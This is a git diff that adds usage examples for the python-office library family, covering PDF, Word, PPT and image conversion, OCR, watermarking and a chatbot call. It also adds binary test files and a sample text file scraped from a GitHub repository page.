--- /dev/null
+++ "b/examples/poimage/\345\233\276\347\211\207\345\216\273\346\260\264\345\215\260.py"
@@ -0,0 +1,17 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/8/9 22:36
+@本段代码的视频说明 :
+'''
+
+# pip install poimage,可以使用清华大学的仓库下载:https://www.bilibili.com/video/BV1SM411y7vw
+import poimage
+
+# 支持jpg、png等所有图片格式
+# 注意:图片的路径和名称,都不能有中文!
+poimage.del_watermark(
+ input_image=r"D:\workplace\code\github\python-office\demo\poimage\test_files\del_watermark\img.png",
+ output_image=r'./test_files/del_watermark/del_watermark.jpg')
diff --git "a/examples/poimage/\346\226\207\346\234\254\350\275\254\350\257\215\344\272\221.py" "b/examples/poimage/\346\226\207\346\234\254\350\275\254\350\257\215\344\272\221.py"
new file mode 100644
index 0000000..4a849cf
--- /dev/null
+++ "b/examples/poimage/\346\226\207\346\234\254\350\275\254\350\257\215\344\272\221.py"
@@ -0,0 +1,11 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/8/9 22:48
+@本段代码的视频说明 :
+'''
+import poimage
+
+poimage.txt2wordcloud()
diff --git a/examples/poimage_demo/compress_image.py b/examples/poimage_demo/compress_image.py
new file mode 100644
index 0000000..a26de36
--- /dev/null
+++ b/examples/poimage_demo/compress_image.py
@@ -0,0 +1,13 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫
+@读者群 :http://www.python4office.cn/wechat-group/
+@个人网站 :www.python-office.com
+@Date :2023/7/3 23:46
+@Description :
+'''
+import office
+
+office.image.compress_image(input_file=r'D:\workplace\code\github\poimage\tests\头像.jpg',
+ output_file="compressed.jpg",
+ quality=50) # 质量,1-100之间,数值越低压缩率越高
diff --git "a/examples/poocr/\350\257\206\345\210\253\351\223\266\350\241\214\345\215\241.py" "b/examples/poocr/\350\257\206\345\210\253\351\223\266\350\241\214\345\215\241.py"
new file mode 100644
index 0000000..7f9de32
--- /dev/null
+++ "b/examples/poocr/\350\257\206\345\210\253\351\223\266\350\241\214\345\215\241.py"
@@ -0,0 +1,22 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/26 0:02
+@本段代码的视频说明 :
+'''
+
+# pip install poocr
+import poocr
+
+# 获取id和key的地址:https://cloud.tencent.com/act/cps/redirect?redirect=36394&cps_key=ca76be5a2293ba3906d6d5407aea15ee
+id = '获取方式👆'
+key = '获取方式👆'
+
+# 全部功能 的文档:https://mp.weixin.qq.com/s/WxICBZZSgkm-OrvXB82hbg
+result = poocr.ocr.BankCardOCR(
+ # 可以填写本地图片的地址:img_path,也可以填写在线图片的地址:img_url ,如果2个都填,则只用在线图片img_url
+ img_path=r'D:\workplace\code\程序员晚枫\全网同名\银行卡照片.jpg',
+ id=id, key=key)
+print(result) # 输出json格式的识别结果
diff --git "a/examples/poocr/\351\200\232\347\224\250\346\226\207\345\255\227\350\257\206\345\210\253.py" "b/examples/poocr/\351\200\232\347\224\250\346\226\207\345\255\227\350\257\206\345\210\253.py"
new file mode 100644
index 0000000..65fecd8
--- /dev/null
+++ "b/examples/poocr/\351\200\232\347\224\250\346\226\207\345\255\227\350\257\206\345\210\253.py"
@@ -0,0 +1,21 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/25 22:52
+@本段代码的视频说明 :
+'''
+# pip install poocr
+import poocr
+
+# 获取id和key的地址:https://cloud.tencent.com/act/cps/redirect?redirect=36394&cps_key=ca76be5a2293ba3906d6d5407aea15ee
+id = '获取方式👆'
+key = '获取方式👆'
+
+# 全部功能 的文档:https://mp.weixin.qq.com/s/WxICBZZSgkm-OrvXB82hbg
+result = poocr.ocr.GeneralBasicOCR(
+ # 可以填写本地图片的地址:img_path,也可以填写在线图片的地址:img_url ,如果2个都填,则只用在线图片img_url
+ img_path=r'D:\workplace\code\程序员晚枫\全网同名\普通照片.jpg',
+ id=id, key=key)
+print(result) # 输出json格式的识别结果
diff --git "a/examples/popdf/PDF\345\212\240\345\257\206.py" "b/examples/popdf/PDF\345\212\240\345\257\206.py"
new file mode 100644
index 0000000..675a74b
--- /dev/null
+++ "b/examples/popdf/PDF\345\212\240\345\257\206.py"
@@ -0,0 +1,18 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/18 22:05
+@本段代码的视频说明 :
+'''
+
+# 导入这个库
+import office
+
+# PDF加密:填写你的文件位置和密码
+office.pdf.encrypt4pdf(path='./test_files/encrypt4pdf/程序员晚枫(作品合集).pdf', password='你想添加的密码')
+
+# 参数说明:
+# path:你的文件位置,例如:D:\work\参考.pdf
+# password:你的密码,可以随意设置,不能为空
\ No newline at end of file
diff --git "a/examples/popdf/PDF\345\212\240\346\260\264\345\215\260.py" "b/examples/popdf/PDF\345\212\240\346\260\264\345\215\260.py"
new file mode 100644
index 0000000..f15f2d1
--- /dev/null
+++ "b/examples/popdf/PDF\345\212\240\346\260\264\345\215\260.py"
@@ -0,0 +1,13 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/17 22:37
+@本段代码的视频说明 :
+'''
+
+import office
+
+office.pdf.add_mark(pdf_file=r'./test_files/add_mark/程序员晚枫(没加水印).pdf', mark_str='程序员晚枫',
+ output_path=r'./test_files/add_mark/output', output_file_name='程序员晚枫(加了水印).pdf')
diff --git "a/examples/popdf/PDF\350\247\243\345\257\206.py" "b/examples/popdf/PDF\350\247\243\345\257\206.py"
new file mode 100644
index 0000000..9d7b52f
--- /dev/null
+++ "b/examples/popdf/PDF\350\247\243\345\257\206.py"
@@ -0,0 +1,13 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/18 22:07
+@本段代码的视频说明 :
+'''
+# 导入这个库:python-office,简写为:office
+import office
+
+# PDF解密:填写你的文件位置和密码
+office.pdf.decrypt4pdf(path='你的加密文件.pdf', password='该文件的密码')
\ No newline at end of file
diff --git "a/examples/popdf/TXT\350\275\254PDF.py" "b/examples/popdf/TXT\350\275\254PDF.py"
new file mode 100644
index 0000000..6723da0
--- /dev/null
+++ "b/examples/popdf/TXT\350\275\254PDF.py"
@@ -0,0 +1,12 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/18 22:01
+@本段代码的视频说明 :
+'''
+
+import office
+
+office.pdf.txt2pdf(path=r'./test_files/txt2pdf/程序员晚枫.txt', res_pdf='txt2pdf.popdf', output_path=r'./test_files/txt2pdf/output')
diff --git a/examples/popdf/pdf_demo.py b/examples/popdf/pdf_demo.py
new file mode 100644
index 0000000..9513d0c
--- /dev/null
+++ b/examples/popdf/pdf_demo.py
@@ -0,0 +1,12 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫
+@读者群 :http://www.python4office.cn/wechat-group/
+@个人网站 :www.python-office.com
+@Date :2023/3/24 23:05
+@Description :
+'''
+import office
+
+office.pdf.add_watermark_by_parameters(pdf_file=r'D:\workplace\code\github\popdf\tests\test_files\pdf\in.popdf',
+ mark_str='python-office')
diff --git "a/examples/popdf/pdf\350\275\254word.py" "b/examples/popdf/pdf\350\275\254word.py"
new file mode 100644
index 0000000..be3914a
--- /dev/null
+++ "b/examples/popdf/pdf\350\275\254word.py"
@@ -0,0 +1,22 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/15 0:40
+@本段代码的视频说明 :
+'''
+
+# pip install python-office
+import office # 导入第三方库
+
+office.pdf.pdf2docx(file_path=r'D:\pdf\程序员晚枫.pdf',
+ output_path=r'D:\download')
+
+
+# 上面这种是Windows用户
+# 尊贵的Mac和Linux用户
+# pip install popdf
+# import popdf
+# popdf.pdf2docx(file_path=r'D:\workplace\code\github\python-office\examples\popdf\test_files\pdf2docx\程序员晚枫.pdf',
+# output_path=r'./test_files/pdf2docx/output')
diff --git "a/examples/popdf/pdf\350\275\254\345\233\276\347\211\207.py" "b/examples/popdf/pdf\350\275\254\345\233\276\347\211\207.py"
new file mode 100644
index 0000000..7a3a63f
--- /dev/null
+++ "b/examples/popdf/pdf\350\275\254\345\233\276\347\211\207.py"
@@ -0,0 +1,19 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/18 22:09
+@本段代码的视频说明 :
+'''
+# 导入这个库:python-office,简写为office
+import office
+
+# 一行代码,实现转换
+office.pdf.pdf2imgs(
+ pdf_path='D://程序员晚枫的文件夹//程序员晚枫.pdf',
+ out_dir='./点赞+关注文件夹'
+)
+# 参数说明:
+# pdf_path = 你的PDF文件的地址
+# out_dir = 转换后的图片存放地址,可以不填,默认是PDF的地址
\ No newline at end of file
diff --git a/examples/popdf/test_files/add_mark/32012356985422-watermark.pdf b/examples/popdf/test_files/add_mark/32012356985422-watermark.pdf
new file mode 100644
index 0000000..94d043a
Binary files /dev/null and b/examples/popdf/test_files/add_mark/32012356985422-watermark.pdf differ
diff --git "a/examples/popdf/test_files/add_mark/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\345\212\240\344\272\206\346\260\264\345\215\260\357\274\211.pdf" "b/examples/popdf/test_files/add_mark/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\345\212\240\344\272\206\346\260\264\345\215\260\357\274\211.pdf"
new file mode 100644
index 0000000..7dadbde
Binary files /dev/null and "b/examples/popdf/test_files/add_mark/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\345\212\240\344\272\206\346\260\264\345\215\260\357\274\211.pdf" differ
diff --git "a/examples/popdf/test_files/add_mark/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\346\262\241\345\212\240\346\260\264\345\215\260\357\274\211.pdf" "b/examples/popdf/test_files/add_mark/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\346\262\241\345\212\240\346\260\264\345\215\260\357\274\211.pdf"
new file mode 100644
index 0000000..4110415
Binary files /dev/null and "b/examples/popdf/test_files/add_mark/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\346\262\241\345\212\240\346\260\264\345\215\260\357\274\211.pdf" differ
diff --git "a/examples/popdf/test_files/decrypt4pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\344\275\234\345\223\201\345\220\210\351\233\206\357\274\211.pdf" "b/examples/popdf/test_files/decrypt4pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\344\275\234\345\223\201\345\220\210\351\233\206\357\274\211.pdf"
new file mode 100644
index 0000000..4110415
Binary files /dev/null and "b/examples/popdf/test_files/decrypt4pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\344\275\234\345\223\201\345\220\210\351\233\206\357\274\211.pdf" differ
diff --git "a/examples/popdf/test_files/encrypt4pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\344\275\234\345\223\201\345\220\210\351\233\206\357\274\211.pdf" "b/examples/popdf/test_files/encrypt4pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\344\275\234\345\223\201\345\220\210\351\233\206\357\274\211.pdf"
new file mode 100644
index 0000000..4110415
Binary files /dev/null and "b/examples/popdf/test_files/encrypt4pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\344\275\234\345\223\201\345\220\210\351\233\206\357\274\211.pdf" differ
diff --git "a/examples/popdf/test_files/pdf2docx/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" "b/examples/popdf/test_files/pdf2docx/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx"
new file mode 100644
index 0000000..b639a59
Binary files /dev/null and "b/examples/popdf/test_files/pdf2docx/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" differ
diff --git "a/examples/popdf/test_files/pdf2docx/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" "b/examples/popdf/test_files/pdf2docx/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf"
new file mode 100644
index 0000000..1dfe32d
Binary files /dev/null and "b/examples/popdf/test_files/pdf2docx/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" differ
diff --git "a/examples/popdf/test_files/txt2pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.txt" "b/examples/popdf/test_files/txt2pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.txt"
new file mode 100644
index 0000000..b282df0
--- /dev/null
+++ "b/examples/popdf/test_files/txt2pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.txt"
@@ -0,0 +1,11 @@
+公众号:程序员晚枫
+小红书:程序员晚枫
+知乎:程序员晚枫
+抖音:程序员晚枫
+快手:程序员晚枫
+B站:程序员晚枫
+
+
+个人网站:www.python-office.com
+
+技术答疑群:http://www.python4office.cn/wechat-group/
\ No newline at end of file
diff --git "a/examples/popdf/\345\220\210\345\271\266PDF.py" "b/examples/popdf/\345\220\210\345\271\266PDF.py"
new file mode 100644
index 0000000..bcae6bf
--- /dev/null
+++ "b/examples/popdf/\345\220\210\345\271\266PDF.py"
@@ -0,0 +1,17 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/18 22:08
+@本段代码的视频说明 :
+'''
+# 导入这个库:python-office,简写为office
+import office
+
+#一行代码,合并pdf
+office.pdf.merge2pdf(one_by_one=['程序员晚枫.pdf', '一键三连.pdf'], output='走起.pdf')
+
+#参数作用:
+# one_by_one = 是个列表,里面是2个pdf文件,合并后,a在前面,b在后面
+# output = 合并后的pdf名字,不能为空
\ No newline at end of file
diff --git a/examples/poppt/merge4ppt.py b/examples/poppt/merge4ppt.py
new file mode 100644
index 0000000..cad405b
--- /dev/null
+++ b/examples/poppt/merge4ppt.py
@@ -0,0 +1,19 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫
+@读者群 :http://www.python4office.cn/wechat-group/
+@个人网站 :www.python-office.com
+@Date :2023/5/25 23:34
+@Description :
+'''
+
+# 集成使用
+import office
+
+input_path = r"./test_files/merge4ppt"
+office.ppt.merge4ppt(input_path)
+
+# 独立使用
+# import poppt
+#
+# poppt.merge4ppt(input_path, output_path=r'./output')
diff --git a/examples/poppt/ppt2img.py b/examples/poppt/ppt2img.py
new file mode 100644
index 0000000..550a30d
--- /dev/null
+++ b/examples/poppt/ppt2img.py
@@ -0,0 +1,29 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/18 23:12
+@本段代码的视频说明 :
+'''
+
+# pip install python-office
+import office
+
+office.ppt.ppt2img(input_path=r'./test_files/ppt2img/程序员晚枫-2.pptx',
+ output_path=r'./test_files/ppt2img/output',
+ merge=True)
+
+"""
+PPT转图片
+Args:
+ input_path: 存放PPT的位置,
+ 转换单个文件 → 可以写文件的路径
+ 转换单个文件 → 写文件夹的路径
+ output_path: 结果图片的存储位置,可以不写,默认代码目录
+ merge: True → 转为1张图片
+ False → PPT有多少张,就转为多少张图片
+
+Returns: None
+
+"""
diff --git a/examples/poppt/ppt2pdf.py b/examples/poppt/ppt2pdf.py
new file mode 100644
index 0000000..d0c1f9f
--- /dev/null
+++ b/examples/poppt/ppt2pdf.py
@@ -0,0 +1,19 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/18 22:45
+@本段代码的视频说明 :https://www.bilibili.com/video/BV17Y411c792
+'''
+
+"""
+微信:hdylw1024
+
+"""
+# 导入库:python-office,简写为:office
+import office
+
+# 填入你的ppt目录
+office.ppt.ppt2pdf(path=r'./test_files/ppt2pdf/程序员晚枫.pptx',
+ output_path=r'./test_files/ppt2pdf/output')
diff --git "a/examples/poppt/test_files/merge4ppt/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-1.pptx" "b/examples/poppt/test_files/merge4ppt/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-1.pptx"
new file mode 100644
index 0000000..00ac94a
Binary files /dev/null and "b/examples/poppt/test_files/merge4ppt/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-1.pptx" differ
diff --git "a/examples/poppt/test_files/merge4ppt/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.pptx" "b/examples/poppt/test_files/merge4ppt/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.pptx"
new file mode 100644
index 0000000..497af83
Binary files /dev/null and "b/examples/poppt/test_files/merge4ppt/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.pptx" differ
diff --git "a/examples/poppt/test_files/ppt2img/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.jpg" "b/examples/poppt/test_files/ppt2img/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.jpg"
new file mode 100644
index 0000000..7e09de2
Binary files /dev/null and "b/examples/poppt/test_files/ppt2img/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.jpg" differ
diff --git "a/examples/poppt/test_files/ppt2img/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.pptx" "b/examples/poppt/test_files/ppt2img/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.pptx"
new file mode 100644
index 0000000..497af83
Binary files /dev/null and "b/examples/poppt/test_files/ppt2img/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.pptx" differ
diff --git "a/examples/poppt/test_files/ppt2pdf/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" "b/examples/poppt/test_files/ppt2pdf/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf"
new file mode 100644
index 0000000..1fff768
Binary files /dev/null and "b/examples/poppt/test_files/ppt2pdf/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" differ
diff --git "a/examples/poppt/test_files/ppt2pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pptx" "b/examples/poppt/test_files/ppt2pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pptx"
new file mode 100644
index 0000000..00ac94a
Binary files /dev/null and "b/examples/poppt/test_files/ppt2pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pptx" differ
diff --git a/examples/poprogress/simple.py b/examples/poprogress/simple.py
new file mode 100644
index 0000000..b2f6cf5
--- /dev/null
+++ b/examples/poprogress/simple.py
@@ -0,0 +1,13 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫
+@读者群 :http://www.python4office.cn/wechat-group/
+@个人网站 :www.python-office.com
+@Date :2023/3/25 17:38
+@Description :
+'''
+
+from poprogress import simple_progress
+
+for i in simple_progress(range(10000000), desc='当前进度'):
+ pass
diff --git a/examples/porobot/chat.py b/examples/porobot/chat.py
new file mode 100644
index 0000000..b03fd1a
--- /dev/null
+++ b/examples/porobot/chat.py
@@ -0,0 +1,13 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/30 2:57
+@本段代码的视频说明 :
+'''
+
+import porobot
+
+# print(porobot.normal.chat("写首古诗"))
+print(porobot.normal.chat("你是谁"))
diff --git a/examples/povideo/mark2video.py b/examples/povideo/mark2video.py
new file mode 100644
index 0000000..dd697a3
--- /dev/null
+++ b/examples/povideo/mark2video.py
@@ -0,0 +1,11 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/8/28 0:48
+@本段代码的视频说明 :
+'''
+import office
+
+office.video.mark2video(video_path=r'D:\download\baiduyun\图片添加水印.mp4', output_path=r'D:\download\baiduyun\out')
diff --git "a/examples/poword/doc\345\222\214docx\344\272\222\350\275\254.py" "b/examples/poword/doc\345\222\214docx\344\272\222\350\275\254.py"
new file mode 100644
index 0000000..bb114b0
--- /dev/null
+++ "b/examples/poword/doc\345\222\214docx\344\272\222\350\275\254.py"
@@ -0,0 +1,15 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/16 5:41
+@本段代码的视频说明 :https://www.bilibili.com/video/BV1so4y1H7rj
+'''
+
+# pip install python-office 一定要成功哦~
+import office
+
+office.word.docx2doc(input_path, output_path)
+
+office.word.doc2docx(input_path, output_path)
diff --git "a/examples/poword/test_files/docx2pdf/\345\260\217\347\272\242\344\271\246-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" "b/examples/poword/test_files/docx2pdf/\345\260\217\347\272\242\344\271\246-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf"
new file mode 100644
index 0000000..80b42eb
Binary files /dev/null and "b/examples/poword/test_files/docx2pdf/\345\260\217\347\272\242\344\271\246-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" differ
diff --git "a/examples/poword/test_files/docx2pdf/\346\212\226\345\277\253-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" "b/examples/poword/test_files/docx2pdf/\346\212\226\345\277\253-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf"
new file mode 100644
index 0000000..5b86f36
Binary files /dev/null and "b/examples/poword/test_files/docx2pdf/\346\212\226\345\277\253-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" differ
diff --git "a/examples/poword/test_files/docx2pdf/\347\237\245\344\271\216-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" "b/examples/poword/test_files/docx2pdf/\347\237\245\344\271\216-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf"
new file mode 100644
index 0000000..a6ff738
Binary files /dev/null and "b/examples/poword/test_files/docx2pdf/\347\237\245\344\271\216-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" differ
diff --git "a/examples/poword/test_files/\345\260\217\347\272\242\344\271\246-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" "b/examples/poword/test_files/\345\260\217\347\272\242\344\271\246-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx"
new file mode 100644
index 0000000..98a298b
Binary files /dev/null and "b/examples/poword/test_files/\345\260\217\347\272\242\344\271\246-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" differ
diff --git "a/examples/poword/test_files/\346\212\226\345\277\253-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" "b/examples/poword/test_files/\346\212\226\345\277\253-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx"
new file mode 100644
index 0000000..98a298b
Binary files /dev/null and "b/examples/poword/test_files/\346\212\226\345\277\253-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" differ
diff --git "a/examples/poword/test_files/\347\237\245\344\271\216-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" "b/examples/poword/test_files/\347\237\245\344\271\216-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx"
new file mode 100644
index 0000000..98a298b
Binary files /dev/null and "b/examples/poword/test_files/\347\237\245\344\271\216-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" differ
diff --git "a/examples/poword/word\350\275\254PDF.py" "b/examples/poword/word\350\275\254PDF.py"
new file mode 100644
index 0000000..8e5388a
--- /dev/null
+++ "b/examples/poword/word\350\275\254PDF.py"
@@ -0,0 +1,15 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/15 0:35
+@本段代码的视频说明 :
+'''
+
+# pip install python-office
+import office
+
+office.word.docx2pdf(
+ path=r'D:\workplace\code\github\python-office\demo\poword\test_files',
+ output_path=r'D:\workplace\code\github\python-office\demo\poword\test_files\docx2pdf')
diff --git "a/examples/poword/\345\220\210\345\271\266word.py" "b/examples/poword/\345\220\210\345\271\266word.py"
new file mode 100644
index 0000000..5b30951
--- /dev/null
+++ "b/examples/poword/\345\220\210\345\271\266word.py"
@@ -0,0 +1,14 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/16 5:38
+@本段代码的视频说明 :https://mp.weixin.qq.com/s/PjQJ3s4Arr872NDfcr-7YA
+'''
+
+# 下载方式:pip install python-office
+import office
+
+office.word.merge4docx(input_path=r'D:\程序员晚枫的文件夹\word-in',
+ output_path=r'D:\程序员晚枫的文件夹\word-out')
\ No newline at end of file
diff --git a/examples/pydatav/txt2wordcloud/res.jpg b/examples/pydatav/txt2wordcloud/res.jpg
new file mode 100644
index 0000000..f18ed03
Binary files /dev/null and b/examples/pydatav/txt2wordcloud/res.jpg differ
diff --git a/examples/pydatav/txt2wordcloud/test.txt b/examples/pydatav/txt2wordcloud/test.txt
new file mode 100644
index 0000000..344f3ec
--- /dev/null
+++ b/examples/pydatav/txt2wordcloud/test.txt
@@ -0,0 +1,127 @@
+Owner avatar
+PyOfficeRobot
+Public
+CoderWanFeng/PyOfficeRobot
+ 2 branches
+ 10 tags
+Your main branch isn't protected
+Protect this branch from force pushing or deletion, or require status checks before merging. Learn more
+
+Latest commit
+@heyWFeng
+heyWFeng add 收集群消息
+f88b34d
+13 minutes ago
+Git stats
+ 88 commits
+Files
+Type
+Name
+Latest commit message
+Commit time
+.idea
+publish 0.1.3 : 修复微信发文件崩溃的问题
+4 months ago
+PR
+publish 0.1.12👉智能聊天:https://mp.weixin.qq.com/s/vJXMChkO2tCUEXpq8LlNCg
+2 weeks ago
+PyOfficeRobot
+update README.md
+last week
+demo
+update README.md
+last week
+dev
+add 收集群消息
+13 minutes ago
+docs/文章配图
+publish 0.1.12👉智能聊天:https://mp.weixin.qq.com/s/vJXMChkO2tCUEXpq8LlNCg
+2 weeks ago
+tests
+publish 0.1.9 : 解决了微信更新后,不能发消息和文件的问题
+last month
+.gitignore
+忽略script文件夹
+last year
+LICENSE
+Initial commit
+last year
+README.md
+update README.md
+1 hour ago
+requirements.txt
+publish 0.1.12👉智能聊天:https://mp.weixin.qq.com/s/vJXMChkO2tCUEXpq8LlNCg
+2 weeks ago
+setup.cfg
+update README.md
+last week
+setup.py
+update author info
+10 months ago
+README.md
+
+
+👉 项目官网 👈
+
+👉 本开源项目的交流群 👈
+
+github star gitee star
+
+又一个微信聊天机器人横空出世了,人人可用!
+之前给大家分享过一个微信机器人:一个15分钟的视频,教你用Python创建自己的微信聊天机器人!
+
+但是之前这个机器人,需要基于网页版才能用(有网页版微信的同学,还可以去继续用);然而很多朋友的微信,是不能登录网页版微信的。
+
+有没有一种微信机器人,任何人的微信都可以用,不需要网页微信功能呢?
+
